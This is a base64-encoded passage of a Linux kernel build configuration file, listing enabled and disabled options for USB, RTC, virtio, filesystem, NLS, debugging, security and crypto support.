QUxfVklWT1BBWV9TRVJJQUwgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9aSU8gaXMg
bm90IHNldA0KIyBDT05GSUdfVVNCX1NFUklBTF9TU1UxMDAgaXMgbm90IHNldA0KIyBDT05GSUdf
VVNCX1NFUklBTF9ERUJVRyBpcyBub3Qgc2V0DQoNCiMNCiMgVVNCIE1pc2NlbGxhbmVvdXMgZHJp
dmVycw0KIw0KIyBDT05GSUdfVVNCX0VNSTYyIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9FTUky
NiBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfQURVVFVYIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VT
Ql9TRVZTRUcgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1JJTzUwMCBpcyBub3Qgc2V0DQojIENP
TkZJR19VU0JfTEVHT1RPV0VSIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9MQ0QgaXMgbm90IHNl
dA0KIyBDT05GSUdfVVNCX0xFRCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfQ1lQUkVTU19DWTdD
NjMgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0NZVEhFUk0gaXMgbm90IHNldA0KIyBDT05GSUdf
VVNCX0lETU9VU0UgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0ZURElfRUxBTiBpcyBub3Qgc2V0
DQojIENPTkZJR19VU0JfQVBQTEVESVNQTEFZIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9MRCBp
cyBub3Qgc2V0DQojIENPTkZJR19VU0JfVFJBTkNFVklCUkFUT1IgaXMgbm90IHNldA0KIyBDT05G
SUdfVVNCX0lPV0FSUklPUiBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfVEVTVCBpcyBub3Qgc2V0
DQojIENPTkZJR19VU0JfSVNJR0hURlcgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1lVUkVYIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1VTQl9HQURHRVQgaXMgbm90IHNldA0KDQojDQojIE9URyBhbmQg
cmVsYXRlZCBpbmZyYXN0cnVjdHVyZQ0KIw0KIyBDT05GSUdfTk9QX1VTQl9YQ0VJViBpcyBub3Qg
c2V0DQojIENPTkZJR19VV0IgaXMgbm90IHNldA0KIyBDT05GSUdfTU1DIGlzIG5vdCBzZXQNCiMg
Q09ORklHX01FTVNUSUNLIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FV19MRURTIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0FDQ0VTU0lCSUxJVFkgaXMgbm90IHNldA0KIyBDT05GSUdfSU5GSU5JQkFORCBp
cyBub3Qgc2V0DQpDT05GSUdfUlRDX0xJQj15DQpDT05GSUdfUlRDX0NMQVNTPXkNCkNPTkZJR19S
VENfSENUT1NZUz15DQpDT05GSUdfUlRDX0hDVE9TWVNfREVWSUNFPSJydGMwIg0KIyBDT05GSUdf
UlRDX0RFQlVHIGlzIG5vdCBzZXQNCg0KIw0KIyBSVEMgaW50ZXJmYWNlcw0KIw0KQ09ORklHX1JU
Q19JTlRGX1NZU0ZTPXkNCkNPTkZJR19SVENfSU5URl9QUk9DPXkNCkNPTkZJR19SVENfSU5URl9E
RVY9eQ0KQ09ORklHX1JUQ19JTlRGX0RFVl9VSUVfRU1VTD15DQojIENPTkZJR19SVENfRFJWX1RF
U1QgaXMgbm90IHNldA0KDQojDQojIEkyQyBSVEMgZHJpdmVycw0KIw0KQ09ORklHX1JUQ19EUlZf
RFMxMzA3PW0NCkNPTkZJR19SVENfRFJWX0RTMTM3ND1tDQpDT05GSUdfUlRDX0RSVl9EUzE2NzI9
bQ0KIyBDT05GSUdfUlRDX0RSVl9EUzMyMzIgaXMgbm90IHNldA0KQ09ORklHX1JUQ19EUlZfTUFY
NjkwMD1tDQpDT05GSUdfUlRDX0RSVl9SUzVDMzcyPW0NCkNPTkZJR19SVENfRFJWX0lTTDEyMDg9
bQ0KIyBDT05GSUdfUlRDX0RSVl9JU0wxMjAyMiBpcyBub3Qgc2V0DQpDT05GSUdfUlRDX0RSVl9Y
MTIwNT1tDQpDT05GSUdfUlRDX0RSVl9QQ0Y4NTYzPW0NCkNPTkZJR19SVENfRFJWX1BDRjg1ODM9
bQ0KQ09ORklHX1JUQ19EUlZfTTQxVDgwPW0NCiMgQ09ORklHX1JUQ19EUlZfTTQxVDgwX1dEVCBp
cyBub3Qgc2V0DQojIENPTkZJR19SVENfRFJWX0JRMzJLIGlzIG5vdCBzZXQNCkNPTkZJR19SVENf
RFJWX1MzNTM5MEE9bQ0KQ09ORklHX1JUQ19EUlZfRk0zMTMwPW0NCkNPTkZJR19SVENfRFJWX1JY
ODU4MT1tDQojIENPTkZJR19SVENfRFJWX1JYODAyNSBpcyBub3Qgc2V0DQojIENPTkZJR19SVENf
RFJWX0VNMzAyNyBpcyBub3Qgc2V0DQojIENPTkZJR19SVENfRFJWX1JWMzAyOUMyIGlzIG5vdCBz
ZXQNCg0KIw0KIyBTUEkgUlRDIGRyaXZlcnMNCiMNCg0KIw0KIyBQbGF0Zm9ybSBSVEMgZHJpdmVy
cw0KIw0KQ09ORklHX1JUQ19EUlZfRFMxMjg2PW0NCkNPTkZJR19SVENfRFJWX0RTMTUxMT1tDQpD
T05GSUdfUlRDX0RSVl9EUzE1NTM9bQ0KQ09ORklHX1JUQ19EUlZfRFMxNzQyPW0NCkNPTkZJR19S
VENfRFJWX1NUSzE3VEE4PW0NCkNPTkZJR19SVENfRFJWX000OFQ4Nj1tDQpDT05GSUdfUlRDX0RS
Vl9NNDhUMzU9bQ0KQ09ORklHX1JUQ19EUlZfTTQ4VDU5PW0NCiMgQ09ORklHX1JUQ19EUlZfTVNN
NjI0MiBpcyBub3Qgc2V0DQpDT05GSUdfUlRDX0RSVl9CUTQ4MDI9bQ0KIyBDT05GSUdfUlRDX0RS
Vl9SUDVDMDEgaXMgbm90IHNldA0KQ09ORklHX1JUQ19EUlZfVjMwMjA9bQ0KDQojDQojIG9uLUNQ
VSBSVEMgZHJpdmVycw0KIw0KQ09ORklHX1JUQ19EUlZfR0VORVJJQz15DQojIENPTkZJR19ETUFE
RVZJQ0VTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FVWERJU1BMQVkgaXMgbm90IHNldA0KQ09ORklH
X1VJTz1tDQojIENPTkZJR19VSU9fQ0lGIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VJT19QRFJWIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1VJT19QRFJWX0dFTklSUSBpcyBub3Qgc2V0DQojIENPTkZJR19V
SU9fQUVDIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VJT19TRVJDT1MzIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1VJT19QQ0lfR0VORVJJQyBpcyBub3Qgc2V0DQojIENPTkZJR19VSU9fTkVUWCBpcyBub3Qg
c2V0DQpDT05GSUdfVklSVElPPXkNCkNPTkZJR19WSVJUSU9fUklORz15DQoNCiMNCiMgVmlydGlv
IGRyaXZlcnMNCiMNCiMgQ09ORklHX1ZJUlRJT19QQ0kgaXMgbm90IHNldA0KIyBDT05GSUdfVklS
VElPX0JBTExPT04gaXMgbm90IHNldA0KQ09ORklHX1ZJUlRJT19NTUlPPXkNCiMgQ09ORklHX1NU
QUdJTkcgaXMgbm90IHNldA0KDQojDQojIEhhcmR3YXJlIFNwaW5sb2NrIGRyaXZlcnMNCiMNCkNP
TkZJR19JT01NVV9TVVBQT1JUPXkNCiMgQ09ORklHX1ZJUlRfRFJJVkVSUyBpcyBub3Qgc2V0DQoj
IENPTkZJR19QTV9ERVZGUkVRIGlzIG5vdCBzZXQNCg0KIw0KIyBGaWxlIHN5c3RlbXMNCiMNCiMg
Q09ORklHX0VYVDJfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfRVhUM19GUyBpcyBub3Qgc2V0DQpD
T05GSUdfRVhUNF9GUz15DQpDT05GSUdfRVhUNF9VU0VfRk9SX0VYVDIzPXkNCiMgQ09ORklHX0VY
VDRfRlNfWEFUVFIgaXMgbm90IHNldA0KQ09ORklHX0VYVDRfREVCVUc9eQ0KQ09ORklHX0pCRDI9
eQ0KQ09ORklHX0pCRDJfREVCVUc9eQ0KIyBDT05GSUdfUkVJU0VSRlNfRlMgaXMgbm90IHNldA0K
IyBDT05GSUdfSkZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1hGU19GUyBpcyBub3Qgc2V0DQoj
IENPTkZJR19HRlMyX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX09DRlMyX0ZTIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0JUUkZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX05JTEZTMl9GUyBpcyBub3Qg
c2V0DQpDT05GSUdfRlNfUE9TSVhfQUNMPXkNCkNPTkZJR19FWFBPUlRGUz15DQpDT05GSUdfRklM
RV9MT0NLSU5HPXkNCkNPTkZJR19GU05PVElGWT15DQpDT05GSUdfRE5PVElGWT15DQpDT05GSUdf
SU5PVElGWV9VU0VSPXkNCkNPTkZJR19GQU5PVElGWT15DQpDT05GSUdfRkFOT1RJRllfQUNDRVNT
X1BFUk1JU1NJT05TPXkNCkNPTkZJR19RVU9UQT15DQojIENPTkZJR19RVU9UQV9ORVRMSU5LX0lO
VEVSRkFDRSBpcyBub3Qgc2V0DQpDT05GSUdfUFJJTlRfUVVPVEFfV0FSTklORz15DQojIENPTkZJ
R19RVU9UQV9ERUJVRyBpcyBub3Qgc2V0DQpDT05GSUdfUVVPVEFfVFJFRT1tDQpDT05GSUdfUUZN
VF9WMT1tDQpDT05GSUdfUUZNVF9WMj1tDQpDT05GSUdfUVVPVEFDVEw9eQ0KIyBDT05GSUdfQVVU
T0ZTNF9GUyBpcyBub3Qgc2V0DQpDT05GSUdfRlVTRV9GUz15DQojIENPTkZJR19DVVNFIGlzIG5v
dCBzZXQNCkNPTkZJR19HRU5FUklDX0FDTD15DQoNCiMNCiMgQ2FjaGVzDQojDQojIENPTkZJR19G
U0NBQ0hFIGlzIG5vdCBzZXQNCg0KIw0KIyBDRC1ST00vRFZEIEZpbGVzeXN0ZW1zDQojDQpDT05G
SUdfSVNPOTY2MF9GUz1tDQpDT05GSUdfSk9MSUVUPXkNCkNPTkZJR19aSVNPRlM9eQ0KQ09ORklH
X1VERl9GUz1tDQpDT05GSUdfVURGX05MUz15DQoNCiMNCiMgRE9TL0ZBVC9OVCBGaWxlc3lzdGVt
cw0KIw0KQ09ORklHX0ZBVF9GUz1tDQpDT05GSUdfTVNET1NfRlM9bQ0KQ09ORklHX1ZGQVRfRlM9
bQ0KQ09ORklHX0ZBVF9ERUZBVUxUX0NPREVQQUdFPTQzNw0KQ09ORklHX0ZBVF9ERUZBVUxUX0lP
Q0hBUlNFVD0iaXNvODg1OS0xIg0KIyBDT05GSUdfTlRGU19GUyBpcyBub3Qgc2V0DQoNCiMNCiMg
UHNldWRvIGZpbGVzeXN0ZW1zDQojDQpDT05GSUdfUFJPQ19GUz15DQpDT05GSUdfUFJPQ19LQ09S
RT15DQpDT05GSUdfUFJPQ19TWVNDVEw9eQ0KQ09ORklHX1BST0NfUEFHRV9NT05JVE9SPXkNCkNP
TkZJR19TWVNGUz15DQpDT05GSUdfVE1QRlM9eQ0KQ09ORklHX1RNUEZTX1BPU0lYX0FDTD15DQpD
T05GSUdfVE1QRlNfWEFUVFI9eQ0KIyBDT05GSUdfSFVHRVRMQl9QQUdFIGlzIG5vdCBzZXQNCkNP
TkZJR19DT05GSUdGU19GUz1tDQpDT05GSUdfTUlTQ19GSUxFU1lTVEVNUz15DQojIENPTkZJR19B
REZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FGRlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdf
RUNSWVBUX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJ
R19IRlNQTFVTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JFRlNfRlMgaXMgbm90IHNldA0KIyBD
T05GSUdfQkZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0VGU19GUyBpcyBub3Qgc2V0DQojIENP
TkZJR19MT0dGUyBpcyBub3Qgc2V0DQojIENPTkZJR19DUkFNRlMgaXMgbm90IHNldA0KQ09ORklH
X1NRVUFTSEZTPW0NCiMgQ09ORklHX1NRVUFTSEZTX1hBVFRSIGlzIG5vdCBzZXQNCkNPTkZJR19T
UVVBU0hGU19aTElCPXkNCiMgQ09ORklHX1NRVUFTSEZTX0xaTyBpcyBub3Qgc2V0DQojIENPTkZJ
R19TUVVBU0hGU19YWiBpcyBub3Qgc2V0DQojIENPTkZJR19TUVVBU0hGU180S19ERVZCTEtfU0la
RSBpcyBub3Qgc2V0DQojIENPTkZJR19TUVVBU0hGU19FTUJFRERFRCBpcyBub3Qgc2V0DQpDT05G
SUdfU1FVQVNIRlNfRlJBR01FTlRfQ0FDSEVfU0laRT0zDQojIENPTkZJR19WWEZTX0ZTIGlzIG5v
dCBzZXQNCiMgQ09ORklHX01JTklYX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX09NRlNfRlMgaXMg
bm90IHNldA0KIyBDT05GSUdfSFBGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19RTlg0RlNfRlMg
aXMgbm90IHNldA0KIyBDT05GSUdfUk9NRlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfUFNUT1JF
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NZU1ZfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfVUZTX0ZT
IGlzIG5vdCBzZXQNCkNPTkZJR19ORVRXT1JLX0ZJTEVTWVNURU1TPXkNCkNPTkZJR19ORlNfRlM9
bQ0KQ09ORklHX05GU19WMz15DQojIENPTkZJR19ORlNfVjNfQUNMIGlzIG5vdCBzZXQNCkNPTkZJ
R19ORlNfVjQ9eQ0KQ09ORklHX05GU19WNF8xPXkNCkNPTkZJR19QTkZTX0ZJTEVfTEFZT1VUPW0N
CkNPTkZJR19QTkZTX0JMT0NLPW0NCiMgQ09ORklHX05GU19VU0VfTEVHQUNZX0ROUyBpcyBub3Qg
c2V0DQpDT05GSUdfTkZTX1VTRV9LRVJORUxfRE5TPXkNCiMgQ09ORklHX05GU19VU0VfTkVXX0lE
TUFQUEVSIGlzIG5vdCBzZXQNCkNPTkZJR19ORlNEPW0NCkNPTkZJR19ORlNEX1YzPXkNCiMgQ09O
RklHX05GU0RfVjNfQUNMIGlzIG5vdCBzZXQNCkNPTkZJR19ORlNEX1Y0PXkNCkNPTkZJR19MT0NL
RD1tDQpDT05GSUdfTE9DS0RfVjQ9eQ0KQ09ORklHX05GU19DT01NT049eQ0KQ09ORklHX1NVTlJQ
Qz1tDQpDT05GSUdfU1VOUlBDX0dTUz1tDQpDT05GSUdfU1VOUlBDX0JBQ0tDSEFOTkVMPXkNCiMg
Q09ORklHX0NFUEhfRlMgaXMgbm90IHNldA0KQ09ORklHX0NJRlM9bQ0KQ09ORklHX0NJRlNfU1RB
VFM9eQ0KQ09ORklHX0NJRlNfU1RBVFMyPXkNCkNPTkZJR19DSUZTX1dFQUtfUFdfSEFTSD15DQoj
IENPTkZJR19DSUZTX1VQQ0FMTCBpcyBub3Qgc2V0DQojIENPTkZJR19DSUZTX1hBVFRSIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0NJRlNfREVCVUcyIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NJRlNfREZT
X1VQQ0FMTCBpcyBub3Qgc2V0DQojIENPTkZJR19OQ1BfRlMgaXMgbm90IHNldA0KIyBDT05GSUdf
Q09EQV9GUyBpcyBub3Qgc2V0DQojIENPTkZJR19BRlNfRlMgaXMgbm90IHNldA0KDQojDQojIFBh
cnRpdGlvbiBUeXBlcw0KIw0KIyBDT05GSUdfUEFSVElUSU9OX0FEVkFOQ0VEIGlzIG5vdCBzZXQN
CkNPTkZJR19NU0RPU19QQVJUSVRJT049eQ0KQ09ORklHX05MUz1tDQpDT05GSUdfTkxTX0RFRkFV
TFQ9Imlzbzg4NTktMSINCkNPTkZJR19OTFNfQ09ERVBBR0VfNDM3PW0NCkNPTkZJR19OTFNfQ09E
RVBBR0VfNzM3PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfNzc1PW0NCkNPTkZJR19OTFNfQ09ERVBB
R0VfODUwPW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODUyPW0NCkNPTkZJR19OTFNfQ09ERVBBR0Vf
ODU1PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODU3PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODYw
PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODYxPW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODYyPW0N
CkNPTkZJR19OTFNfQ09ERVBBR0VfODYzPW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODY0PW0NCkNP
TkZJR19OTFNfQ09ERVBBR0VfODY1PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODY2PW0NCkNPTkZJ
R19OTFNfQ09ERVBBR0VfODY5PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfOTM2PW0NCkNPTkZJR19O
TFNfQ09ERVBBR0VfOTUwPW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfOTMyPW0NCkNPTkZJR19OTFNf
Q09ERVBBR0VfOTQ5PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODc0PW0NCkNPTkZJR19OTFNfSVNP
ODg1OV84PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfMTI1MD1tDQpDT05GSUdfTkxTX0NPREVQQUdF
XzEyNTE9bQ0KQ09ORklHX05MU19BU0NJST1tDQpDT05GSUdfTkxTX0lTTzg4NTlfMT1tDQpDT05G
SUdfTkxTX0lTTzg4NTlfMj1tDQpDT05GSUdfTkxTX0lTTzg4NTlfMz1tDQpDT05GSUdfTkxTX0lT
Tzg4NTlfND1tDQpDT05GSUdfTkxTX0lTTzg4NTlfNT1tDQpDT05GSUdfTkxTX0lTTzg4NTlfNj1t
DQpDT05GSUdfTkxTX0lTTzg4NTlfNz1tDQpDT05GSUdfTkxTX0lTTzg4NTlfOT1tDQpDT05GSUdf
TkxTX0lTTzg4NTlfMTM9bQ0KQ09ORklHX05MU19JU084ODU5XzE0PW0NCkNPTkZJR19OTFNfSVNP
ODg1OV8xNT1tDQpDT05GSUdfTkxTX0tPSThfUj1tDQpDT05GSUdfTkxTX0tPSThfVT1tDQpDT05G
SUdfTkxTX1VURjg9bQ0KQ09ORklHX0RMTT1tDQojIENPTkZJR19ETE1fREVCVUcgaXMgbm90IHNl
dA0KDQojDQojIEtlcm5lbCBoYWNraW5nDQojDQpDT05GSUdfUFJJTlRLX1RJTUU9eQ0KQ09ORklH
X0RFRkFVTFRfTUVTU0FHRV9MT0dMRVZFTD00DQpDT05GSUdfRU5BQkxFX1dBUk5fREVQUkVDQVRF
RD15DQojIENPTkZJR19FTkFCTEVfTVVTVF9DSEVDSyBpcyBub3Qgc2V0DQpDT05GSUdfRlJBTUVf
V0FSTj0xMDI0DQpDT05GSUdfTUFHSUNfU1lTUlE9eQ0KIyBDT05GSUdfU1RSSVBfQVNNX1NZTVMg
aXMgbm90IHNldA0KIyBDT05GSUdfVU5VU0VEX1NZTUJPTFMgaXMgbm90IHNldA0KQ09ORklHX0RF
QlVHX0ZTPXkNCiMgQ09ORklHX0hFQURFUlNfQ0hFQ0sgaXMgbm90IHNldA0KIyBDT05GSUdfREVC
VUdfU0VDVElPTl9NSVNNQVRDSCBpcyBub3Qgc2V0DQpDT05GSUdfREVCVUdfS0VSTkVMPXkNCiMg
Q09ORklHX0RFQlVHX1NISVJRIGlzIG5vdCBzZXQNCiMgQ09ORklHX0xPQ0tVUF9ERVRFQ1RPUiBp
cyBub3Qgc2V0DQojIENPTkZJR19IQVJETE9DS1VQX0RFVEVDVE9SIGlzIG5vdCBzZXQNCkNPTkZJ
R19ERVRFQ1RfSFVOR19UQVNLPXkNCkNPTkZJR19ERUZBVUxUX0hVTkdfVEFTS19USU1FT1VUPTEy
MA0KIyBDT05GSUdfQk9PVFBBUkFNX0hVTkdfVEFTS19QQU5JQyBpcyBub3Qgc2V0DQpDT05GSUdf
Qk9PVFBBUkFNX0hVTkdfVEFTS19QQU5JQ19WQUxVRT0wDQpDT05GSUdfU0NIRURfREVCVUc9eQ0K
IyBDT05GSUdfU0NIRURTVEFUUyBpcyBub3Qgc2V0DQpDT05GSUdfVElNRVJfU1RBVFM9eQ0KIyBD
T05GSUdfREVCVUdfT0JKRUNUUyBpcyBub3Qgc2V0DQojIENPTkZJR19ERUJVR19TTEFCIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0RFQlVHX1JUX01VVEVYRVMgaXMgbm90IHNldA0KIyBDT05GSUdfUlRf
TVVURVhfVEVTVEVSIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFQlVHX1NQSU5MT0NLIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0RFQlVHX01VVEVYRVMgaXMgbm90IHNldA0KIyBDT05GSUdfU1BBUlNFX1JD
VV9QT0lOVEVSIGlzIG5vdCBzZXQNCkNPTkZJR19ERUJVR19BVE9NSUNfU0xFRVA9eQ0KIyBDT05G
SUdfREVCVUdfTE9DS0lOR19BUElfU0VMRlRFU1RTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFQlVH
X1NUQUNLX1VTQUdFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFQlVHX0tPQkpFQ1QgaXMgbm90IHNl
dA0KQ09ORklHX0RFQlVHX0JVR1ZFUkJPU0U9eQ0KIyBDT05GSUdfREVCVUdfSU5GTyBpcyBub3Qg
c2V0DQojIENPTkZJR19ERUJVR19WTSBpcyBub3Qgc2V0DQojIENPTkZJR19ERUJVR19XUklURUNP
VU5UIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFQlVHX01FTU9SWV9JTklUIGlzIG5vdCBzZXQNCiMg
Q09ORklHX0RFQlVHX0xJU1QgaXMgbm90IHNldA0KIyBDT05GSUdfVEVTVF9MSVNUX1NPUlQgaXMg
bm90IHNldA0KIyBDT05GSUdfREVCVUdfU0cgaXMgbm90IHNldA0KIyBDT05GSUdfREVCVUdfTk9U
SUZJRVJTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFQlVHX0NSRURFTlRJQUxTIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0JPT1RfUFJJTlRLX0RFTEFZIGlzIG5vdCBzZXQNCiMgQ09ORklHX1JDVV9UT1JU
VVJFX1RFU1QgaXMgbm90IHNldA0KQ09ORklHX1JDVV9DUFVfU1RBTExfVElNRU9VVD02MA0KQ09O
RklHX1JDVV9DUFVfU1RBTExfVkVSQk9TRT15DQojIENPTkZJR19CQUNLVFJBQ0VfU0VMRl9URVNU
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFQlVHX0JMT0NLX0VYVF9ERVZUIGlzIG5vdCBzZXQNCiMg
Q09ORklHX0RFQlVHX0ZPUkNFX1dFQUtfUEVSX0NQVSBpcyBub3Qgc2V0DQojIENPTkZJR19ERUJV
R19QRVJfQ1BVX01BUFMgaXMgbm90IHNldA0KIyBDT05GSUdfTEtEVE0gaXMgbm90IHNldA0KIyBD
T05GSUdfQ1BVX05PVElGSUVSX0VSUk9SX0lOSkVDVCBpcyBub3Qgc2V0DQojIENPTkZJR19GQVVM
VF9JTkpFQ1RJT04gaXMgbm90IHNldA0KIyBDT05GSUdfTEFURU5DWVRPUCBpcyBub3Qgc2V0DQpD
T05GSUdfU1lTQ1RMX1NZU0NBTExfQ0hFQ0s9eQ0KIyBDT05GSUdfREVCVUdfUEFHRUFMTE9DIGlz
IG5vdCBzZXQNCkNPTkZJR19IQVZFX0ZVTkNUSU9OX1RSQUNFUj15DQpDT05GSUdfSEFWRV9GVU5D
VElPTl9HUkFQSF9UUkFDRVI9eQ0KQ09ORklHX0hBVkVfRlVOQ1RJT05fVFJBQ0VfTUNPVU5UX1RF
U1Q9eQ0KQ09ORklHX1JJTkdfQlVGRkVSPXkNCkNPTkZJR19SSU5HX0JVRkZFUl9BTExPV19TV0FQ
PXkNCiMgQ09ORklHX0RZTkFNSUNfREVCVUcgaXMgbm90IHNldA0KIyBDT05GSUdfQVRPTUlDNjRf
U0VMRlRFU1QgaXMgbm90IHNldA0KIyBDT05GSUdfQVNZTkNfUkFJRDZfVEVTVCBpcyBub3Qgc2V0
DQojIENPTkZJR19TQU1QTEVTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1RFU1RfS1NUUlRPWCBpcyBu
b3Qgc2V0DQpDT05GSUdfREVCVUdfUk9EQVRBPXkNCiMgQ09ORklHX0RFQlVHX1NUUklDVF9VU0VS
X0NPUFlfQ0hFQ0tTIGlzIG5vdCBzZXQNCg0KIw0KIyBTZWN1cml0eSBvcHRpb25zDQojDQpDT05G
SUdfS0VZUz15DQojIENPTkZJR19FTkNSWVBURURfS0VZUyBpcyBub3Qgc2V0DQpDT05GSUdfS0VZ
U19ERUJVR19QUk9DX0tFWVM9eQ0KIyBDT05GSUdfU0VDVVJJVFlfRE1FU0dfUkVTVFJJQ1QgaXMg
bm90IHNldA0KQ09ORklHX1NFQ1VSSVRZPXkNCiMgQ09ORklHX1NFQ1VSSVRZRlMgaXMgbm90IHNl
dA0KQ09ORklHX1NFQ1VSSVRZX05FVFdPUks9eQ0KQ09ORklHX1NFQ1VSSVRZX05FVFdPUktfWEZS
TT15DQojIENPTkZJR19TRUNVUklUWV9QQVRIIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFQ1VSSVRZ
X1NFTElOVVggaXMgbm90IHNldA0KIyBDT05GSUdfU0VDVVJJVFlfVE9NT1lPIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NFQ1VSSVRZX0FQUEFSTU9SIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lNQSBpcyBu
b3Qgc2V0DQojIENPTkZJR19FVk0gaXMgbm90IHNldA0KQ09ORklHX0RFRkFVTFRfU0VDVVJJVFlf
REFDPXkNCkNPTkZJR19ERUZBVUxUX1NFQ1VSSVRZPSIiDQpDT05GSUdfWE9SX0JMT0NLUz1tDQpD
T05GSUdfQVNZTkNfQ09SRT1tDQpDT05GSUdfQVNZTkNfTUVNQ1BZPW0NCkNPTkZJR19BU1lOQ19Y
T1I9bQ0KQ09ORklHX0FTWU5DX1BRPW0NCkNPTkZJR19BU1lOQ19SQUlENl9SRUNPVj1tDQpDT05G
SUdfQ1JZUFRPPXkNCg0KIw0KIyBDcnlwdG8gY29yZSBvciBoZWxwZXINCiMNCkNPTkZJR19DUllQ
VE9fQUxHQVBJPXkNCkNPTkZJR19DUllQVE9fQUxHQVBJMj15DQpDT05GSUdfQ1JZUFRPX0FFQUQ9
bQ0KQ09ORklHX0NSWVBUT19BRUFEMj15DQpDT05GSUdfQ1JZUFRPX0JMS0NJUEhFUj1tDQpDT05G
SUdfQ1JZUFRPX0JMS0NJUEhFUjI9eQ0KQ09ORklHX0NSWVBUT19IQVNIPXkNCkNPTkZJR19DUllQ
VE9fSEFTSDI9eQ0KQ09ORklHX0NSWVBUT19STkc9bQ0KQ09ORklHX0NSWVBUT19STkcyPXkNCkNP
TkZJR19DUllQVE9fUENPTVAyPXkNCkNPTkZJR19DUllQVE9fTUFOQUdFUj15DQpDT05GSUdfQ1JZ
UFRPX01BTkFHRVIyPXkNCiMgQ09ORklHX0NSWVBUT19VU0VSIGlzIG5vdCBzZXQNCkNPTkZJR19D
UllQVE9fTUFOQUdFUl9ESVNBQkxFX1RFU1RTPXkNCkNPTkZJR19DUllQVE9fR0YxMjhNVUw9bQ0K
Q09ORklHX0NSWVBUT19OVUxMPW0NCiMgQ09ORklHX0NSWVBUT19QQ1JZUFQgaXMgbm90IHNldA0K
Q09ORklHX0NSWVBUT19XT1JLUVVFVUU9eQ0KQ09ORklHX0NSWVBUT19DUllQVEQ9bQ0KQ09ORklH
X0NSWVBUT19BVVRIRU5DPW0NCkNPTkZJR19DUllQVE9fVEVTVD1tDQoNCiMNCiMgQXV0aGVudGlj
YXRlZCBFbmNyeXB0aW9uIHdpdGggQXNzb2NpYXRlZCBEYXRhDQojDQpDT05GSUdfQ1JZUFRPX0ND
TT1tDQpDT05GSUdfQ1JZUFRPX0dDTT1tDQpDT05GSUdfQ1JZUFRPX1NFUUlWPW0NCg0KIw0KIyBC
bG9jayBtb2Rlcw0KIw0KQ09ORklHX0NSWVBUT19DQkM9bQ0KQ09ORklHX0NSWVBUT19DVFI9bQ0K
IyBDT05GSUdfQ1JZUFRPX0NUUyBpcyBub3Qgc2V0DQpDT05GSUdfQ1JZUFRPX0VDQj1tDQpDT05G
SUdfQ1JZUFRPX0xSVz1tDQpDT05GSUdfQ1JZUFRPX1BDQkM9bQ0KIyBDT05GSUdfQ1JZUFRPX1hU
UyBpcyBub3Qgc2V0DQoNCiMNCiMgSGFzaCBtb2Rlcw0KIw0KQ09ORklHX0NSWVBUT19ITUFDPW0N
CiMgQ09ORklHX0NSWVBUT19YQ0JDIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NSWVBUT19WTUFDIGlz
IG5vdCBzZXQNCg0KIw0KIyBEaWdlc3QNCiMNCkNPTkZJR19DUllQVE9fQ1JDMzJDPXkNCkNPTkZJ
R19DUllQVE9fR0hBU0g9bQ0KQ09ORklHX0NSWVBUT19NRDQ9bQ0KQ09ORklHX0NSWVBUT19NRDU9
